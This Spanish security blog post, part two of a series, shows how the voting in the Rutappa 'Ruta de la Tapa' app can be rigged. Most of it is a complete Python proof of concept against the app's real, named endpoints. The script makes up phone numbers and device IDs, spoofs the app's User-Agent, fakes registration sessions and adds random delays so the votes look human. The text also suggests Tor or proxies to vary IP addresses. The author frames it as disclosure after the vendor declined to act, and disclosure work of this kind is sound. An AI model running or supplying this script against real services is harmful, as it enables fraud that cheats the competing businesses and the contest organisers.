jueves, enero 23, 2020

Los bares { y las "Rutas de las Tapa" } también necesitan [ciber]seguridad (Parte 2 de 2)

Visto lo visto en la primera parte de este artículo Los bares { y las "Rutas de la Tapa"} también necesita (ciber)Seguridad, ya solo nos queda plantear si sería posible construir un ataque que algún bar o restaurante "tramposo", o simplemente algún vándalo ejecute, para elegir qué tapa es la que debe ganar, algo que arruinaría el esfuerzo que los bares ponen, y premiaría a los malos con una distinción que merecen. Es decir, haría que las distinciones que se están otorgando no tengan valor.

Figura 15: Los bares { y las "Rutas de las Tapa" } también necesitan [ciber]seguridad
(Parte 2 de 2)

Pues como os podéis imaginar, sí que es posible hacer un ataque y ahora os voy a explicar cómo se podría construir.

 El Ataque para elegir la Tapa Ganadora

Un sencillo script nos iba a servir para probar un ataque consistente en voto masivo a una tapa. Es decir, podríamos hacer ganar en cada “Ruta de la Tapa” aquella tapa que quisiéramos nosotros, ya que las medidas de control y seguridad no son muchas.

Figura 16: Concurso de  una "Ruta de la Tapa" con Runtappa

Como hemos comprobado en la primera parte de este artículo, no hace falta grandes conocimientos informáticos para votar las veces que quisieras, y lo único que hay que hacer es inyectar suficientes votos para ganar, con datos que pasen desapercibidos a cualquier control en el servidor por alguien que estuviera vigilando, y lo suficientemente "reales" como para que no generen alertas y sospechas.

Para hacer el ataque más real, es decir, simular votos hechos por personas y no por una máquina, estudiamos un poco más las peticiones y endpoints que la app realizaba. Recordad que al final, a ser una petición HTTP hecha por Internet hay algunos parámetros que pueden ser utilizados en el análisis de seguridad en el lado del servidor que habría que controlar.

El endpoint http://www.retalis.es/newrutappa/push/ios/register.php se utiliza al arrancar la app, por lo que haríamos una llamada al mismo cada vez que vayamos a votar simulando que estamos haciendo un proceso de "registro" de una nueva apertura de app en un terminal. Es decir, una sesión en toda regla.

Este endpoint toma como parámetro “codigoruta”, que obtenemos de este otro endpoint que es llamado para cargar las rutas disponibles en la aplicación en este instante temporal. Es decir, necesitamos invocar http://retalis.es/newrutappa/rutappa_connect/get_ruta_search.php para simular un funcionamiento normal de la app, por si se analizara toda la traza de acciones de una sesión. Solo tenemos que leer la respuesta en formato JSON que nos devuelve y obtener el código de ruta (en formato “rxxx”) para poder simular el registro.

En cuanto al voto en sí, necesitamos un dato mas llamado “pid”, que es un código que se entrega a cada bar para que lo pusiera visible in-situ, y evitar así que puedan realizarse votos sin estar presente al menos, aunque es medida de seguridad que deja mucho que desear pues no hay validación de geolocalización tampoco y puedes votar desde cualquier sitio.

Figura 17: Libro de "Hacking con Python"

Este parámetro es el que identifica de manera unívoca la tapa que votas. Pero no es difícil de conseguir, ya que a través del endpoint: http://retalis.es/newrutappa/rutappa_connect/get_tapa_search.php, obtienes todas las tapas a concurso de una determinada ruta con su “pid” incluido en el fichero JSON de respuesta. El script en Python que se hizo como PoC antes de ponernos en contacto con los creadores de la app  es el siguiente:
#!/usr/bin/python
#coding=utf-8
import sys
import time
import httplib
import urllib
import random
import string
import json
import zlib
from termcolor import colored
##'''{"pid":"10231","rutapid":"r153","taparutapid":"8","activado":"1","codigotapa":"20260","nombre":"ZONA ZERO","direccion":"Av. Garc\u00eda Lorca, 37 Tel: 633350970","latitud":"37.306371","longitud":"-6.244589","tapa":"Tosta de chipir\u00f3n con salsa t\u00e1rtara ","desctapa":"Otras degustaciones: \r\n- Carrillada en salsa de zanahoria \r\n- Pipirrana de pulpo","municipio":"Aznalc\u00e1zar","distancia":"4197.6"}'''
##"pid":"10536","rutapid":"r152"

# funciones auxiliares
def register(route_code):
  '''Registra el usuario en la app (no es necesario realmente para votar, pero ayuda a simular un voto "real")'''
  print ("\n>>Registrando usuario...\n")
  url = "retalis.es:80"
  params = urllib.urlencode({
  'codigoruta': route_code,
  'modelo': 'iphone',
  'telefono': '',
  'token': 'c_wuI3oRxXg:APA91bGKpuvHq6R1XgF9P2zk5eq60TcLO9-GyDvZtaBhkrdn0JwBHXf9RbZRwkVrVT551Fr8z26JdcUHWNh9pyALTJp7nStxML_Y6u_B7DaY48y--eupBvFIiSlv4ukKmbwazCjZorIB'
  })
  headers = {
  "Host": "retalis.es",
  "Content-Type": "application/x-www-form-urlencoded",
  "Connection": "keep-alive",
  "Proxy-Connection": "keep-alive",
  "Accept": "*/*",
  "User-Agent": "Rutappa/2.1.1 (iPhone; iOS 13.2.3; Scale/2.00)",
  "Accept-Language":  "en-ES;q=1, es-ES;q=0.9, ja-JP;q=0.8",
  "Accept-Encoding":  "gzip, deflate",
  "Content-Length": "200"
  }
  conn = httplib.HTTPConnection(url)
  conn.request("POST", "/newrutappa/push/ios/register.php", params, headers)
  response = conn.getresponse()
  if response.status == 200:
    print ("\t" + colored("Registro OK", 'green'))
  data = response.read()
  conn.close()

# deviceid should be in the form d00709ddc9b7072fd061af2ed983c600 (32 chars)
def vote(telefono, deviceid, pid, estrellas = '5.0'):
  '''Vota a favor de una tapa.'''
  print ("\n>>Votando telefono: " + telefono + " con deviceid: " + deviceid + " ...\n")
  url = "retalis.es:80"
  params = urllib.urlencode({
    'deviceid': deviceid,
    'pid': pid,
    'voto': estrellas,
    'telefono': telefono
  })
  headers = {
    "Host": "retalis.es",
    "Content-Type": "application/x-www-form-urlencoded",
    "Connection": "keep-alive",
    "Proxy-Connection": "keep-alive",
    "Accept": "*/*",
    "User-Agent": "Rutappa/20023 CFNetwork/1120 Darwin/19.0.0",
    "Accept-Language": "en-us",
    "Accept-Encoding":  "gzip, deflate",
    "Content-Length": "79"
  }
  conn = httplib.HTTPConnection(url)
  conn.request("POST", "/newrutappa/rutappa_connect/votar.php", params, headers)
  response = conn.getresponse()
  if response.status == 200:
    print ("\t" + colored("Voto OK (" + estrellas + " estrellas)\n", 'green'))
    data = response.read()
    if len(data) != 0:
      data_decoded = zlib.decompress(data, 16+zlib.MAX_WBITS)
      print("\t %s" % data_decoded)
  conn.close()

def generate_phone_number():
  return '6' + ''.join(random.choice(string.digits) for _ in range(8))

def generate_deviceid():
  return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(32))
  
# main
if len(sys.argv) < 4:
  print("Parámetros insuficientes. Uso: $~>python <#votos>  ")

else:
  number_of_votes = int(sys.argv[1])
  pid = sys.argv[2]
  route_code = sys.argv[3]
  for i in range(number_of_votes):
    new_phone_number = generate_phone_number()
    new_deviceid = generate_deviceid()
    register(route_code)
    time.sleep(random.choice([1.5, 2.3]))
    vote(new_phone_number, new_deviceid, pid, str(random.choice([4.0, 5.0])))
    print (colored(str(i+1) + " de " + str(number_of_votes) + " votos realizados", 'green', attrs=['bold']))
    time.sleep(random.choice([2.0, 2.2, 3.1]))

En las últimas cuatro líneas del script añadimos retardos y aleatoriedad para dotar al proceso de votos de un poco más de realismo esperando un tiempo más o menos aleatorio entre voto y voto, además de añadir una valoración de la tapa no siempre de 5 aceitunas.

Figura 18: Deep Web "Privacidad y Anonimato"

Por supuesto es una PoC y no persigue ningún objetivo final, así que metimos entropía en las direcciones IP utilizadas para emitir los votos, algo que se puede hacer añadiendo una capa de utilización de servidores Proxy Anónimos en la red o conexiones vía red TOR.

Por último, hay que tener en cuenta que en servidores pueden estar analizando las peticiones para revisar las cabeceras USER-Agent y no sabemos si el hash que se utiliza en DevideID es aleatorio y tal y como nosotros lo hemos definido - y los votos entran y funcionan así - o es un derivado de cualquier información del terminal - o algo distinto.

Figura 19: PoC de votación fraudulenta

En el vídeo que tienes aquí se puede apreciar la ejecución del script a una tapa de una de las rutas que ya habían terminado (y esperemos) entregado sus premios, para que veáis que funciona perfectamente.

Figura 20: Cómo hacer reversing de apps en Android

En cualquier caso, como no está generando problemas no lo hemos analizado, pero bastaría con hacer un reversing del código de la app y ver cómo genera ese DevideID en la app para simularlo totalmente. Por ahora, no tienen ningún control de seguridad extra asociado a ese valor.

Consecuencias y Conclusiones

El hecho arriba mostrado implica que la aplicación, desde su concepción, no ha sido segura ni fiable, por lo que no podemos asegurar que los ganadores pasados, presentes (y futuros a menos que se corrija) sean ganadores legítimos, lo que habría podido significar un perjuicio comercial y profesional para restauradores que hayan "perdido" y un beneficio injusto para ganadores que hubieran podido hacer trampas en un sistema como éste.

Figura 21: Una ruta de la tapa del año pasado más

Al estar sujeta a un ataque tan sencillo, no hace falta grandes conocimientos informáticos para corromper el resultado y defraudar a los patrocinadores, consistorios, bares y comensales que participaron en su "Ruta de la Tapa", y que han sido y son muchos.

Como conclusión final nos damos cuenta de que las PYMES también están desprotegidas en este ámbito. La ciberseguridad ya no es cuestión exclusiva de las grandes empresas. La adopción de la tecnología por parte de esta población de empresas es fundamental y así lo están entendiendo, pero ni por asomo se les ocurre que “estar” o “usar” no es suficiente.

Nos cabe la duda de si, alguien por detrás, después de cada concurso, revisa en backend los votos por si hubiera votaciones fraudulentas, buscando aquellos que cumplieran patrones maliciosos, pero viendo que las peticiones van en HTTP y que el sistema permite los votos parece poco improbable, pero...

Y como última nota:

Nos pusimos en contacto con el gerente de la empresa de la app de este artículo durante el año pasado. Primero para que lo solucionara de manera privada con las diputaciones y sin alarma pero han rehusado cualquier acción o interés, por lo que al final nos heos decidido por hacer un artículo y explicarlo.

Figura 22: Los ganadores lucen orgullosos los reconocimientos de sus victorias

A día de hoy el sistema sigue funcionando de la misma forma. Bajo nuestro punto de vista, el simplemente hecho de que se pueda hacer una PoC como esta debería hacer pensar a todos los implicados en este tipo de eventos en mejorar la seguridad de un una de estas Ruta de la Tapa, además de poner cierto entrecomillado entre los premios otorgados.

Saludos.

Autor: Paco García Villarán


No hay comentarios:

Entrada destacada

Seis recomendaciones personales de libros de @0xWord para disfrutar y aprender

Este verano pude disfrutar de la lectura de un libro que me encantó. El libro de Factfulness que me había regalado mi compañera Beatriz Ce...

Entradas populares